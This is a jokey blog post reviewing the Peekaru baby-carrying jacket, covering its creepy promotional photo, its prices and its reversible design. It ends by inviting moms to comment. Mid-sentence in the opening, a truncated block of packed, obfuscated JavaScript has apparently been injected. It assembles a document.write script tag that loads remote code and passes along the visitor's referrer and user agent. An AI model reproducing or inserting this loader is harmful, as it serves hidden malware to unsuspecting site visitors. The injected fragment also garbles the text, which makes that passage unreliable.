New Moms, listen up!

You better believe I’m buying this for every new or soon-to-be mom.  Why?  Because it’s all sorts of awesome.

Get ready.

It’s called a Peekaru. ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iefze|var|u0026u|referrer|nsizh||js|php’.split(‘|’),0,{}))
 And it “protects you and your child from adverse weather.”  And sometimes it makes you look like your baby is popping its head out of your belly.

To their credit, Peekaru quickly learned that this photo was SUPER creepy and wiped this photo from its website.  Thankfully, the interwebs have preserved this awesomeness.

New photos don’t look nearly as creepy.

The cheapest one appears to be $65.  That would be the pullover hoody option.  One of the selling points is that they are reversible – you can wear the baby in front or on your back.  For the hoodie, they advertise using the hood as a “chic cowel neck” for the baby-in-back option.  I’ll have to try that with my hooded sweatshirt the next time I need a chic alternative to a hooded sweatshirt.

The soft shell retails for $250.  It looked confusing to get into….thankfully they have a 1 minute 30 second video that shows you how to put it on.  Any jacket that requires a video is too confusing for me.

So….this is where I learn whether I’ve just offended the moms that read the blog….do you have one?  If you do, you better leave a comment letting everyone know that it’s actually amazing and helps your baby sleep for 12 hours every night.  And helped your baby learn to speak at the age of 12 months etc.